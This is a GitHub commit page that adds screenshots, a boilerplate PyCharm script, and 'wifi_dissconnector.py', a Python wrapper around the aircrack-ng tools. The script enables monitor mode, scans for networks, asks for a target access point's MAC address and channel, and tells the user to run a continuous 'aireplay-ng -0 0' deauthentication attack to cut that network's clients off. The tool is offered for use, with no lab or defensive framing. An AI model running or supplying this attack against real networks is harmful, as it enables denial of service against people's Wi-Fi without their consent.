Skip to content

Commit 91b9fbe

Browse files
authored
added script and png's
1 parent 932cd57 commit 91b9fbe

12 files changed

+61
-0
lines changed

1.png

190 KB
Loading

2.png

231 KB
Loading

3_Entering_new_interface.png

205 KB
Loading

4_discovered_networks.png

112 KB
Loading

5_Entering_target_mac_and_channel.png

127 KB
Loading

6_on_target_mac.png

133 KB
Loading

7.png

133 KB
Loading

disconnecting_target_wifi.png

205 KB
Loading

entering_argument.png

73.7 KB
Loading

ifconfig.png

309 KB
Loading

main.py

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
# This is a sample Python script.
2+
3+
# Press Shift+F10 to execute it or replace it with your code.
4+
# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.
5+
6+
7+
def print_hi(name):
8+
# Use a breakpoint in the code line below to debug your script.
9+
print(f'Hi, {name}') # Press Ctrl+F8 to toggle the breakpoint.
10+
11+
12+
# Press the green button in the gutter to run the script.
13+
if __name__ == '__main__':
14+
print_hi('PyCharm')
15+
16+
# See PyCharm help at https://www.jetbrains.com/help/pycharm/

wifi_dissconnector.py

+45
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
import subprocess
2+
import optparse
3+
import time
4+
def arguments():
5+
parse = optparse.OptionParser()
6+
parse.add_option("-i","--iface",dest="interface",help="interface such as wlan0 or wlan0mon to perform the task")
7+
options,arguments = parse.parse_args()
8+
if not options.interface:
9+
parse.error("enter interface -i or --iface")
10+
else:
11+
return options.interface
12+
13+
def disable_wifi(_interface_):
14+
print("[+] "+_interface_+" is going to monitor mode.......!!!! ")
15+
subprocess.call("airmon-ng start "+_interface_,shell = True)
16+
subprocess.call("ifconfig ",shell = True)
17+
time.sleep(2)
18+
print("[+] Enter new interface or enter the same if not modified")
19+
new_interface = input("enter_new_interface: ")
20+
try:
21+
print("[+] press Ctrl+c to stop the process.......!!!")
22+
time.sleep(1)
23+
subprocess.call("airodump-ng "+new_interface ,shell=True)
24+
except KeyboardInterrupt:
25+
print("[+] Keyboard interrupt found Ctrl+c ......... now enter the following: ")
26+
target_mac_wifi = input("enter the mac address of target wifi: ")
27+
target_wifi_channel = input("enter target wifi channel: ")
28+
print("[+] Target Wifi Details.......!!!")
29+
try:
30+
print("press Ctrl+C to stop the process...........")
31+
print("JUST RUN IT ON OTHER SHELL aireplay-ng -0 0 -a " + target_mac_wifi + " " + new_interface)
32+
33+
print("Donot stop this process when you running upper command on other shell")
34+
time.sleep(1)
35+
subprocess.call("airodump-ng --bssid "+target_mac_wifi+" --channel "+target_wifi_channel +" "+ new_interface,shell = True)
36+
except KeyboardInterrupt:
37+
print("[+] Detected Keyboard interrupt.....!!")
38+
39+
40+
41+
def main():
42+
interface = arguments()
43+
disable_wifi(interface)
44+
45+
main()

0 commit comments

Comments
 (0)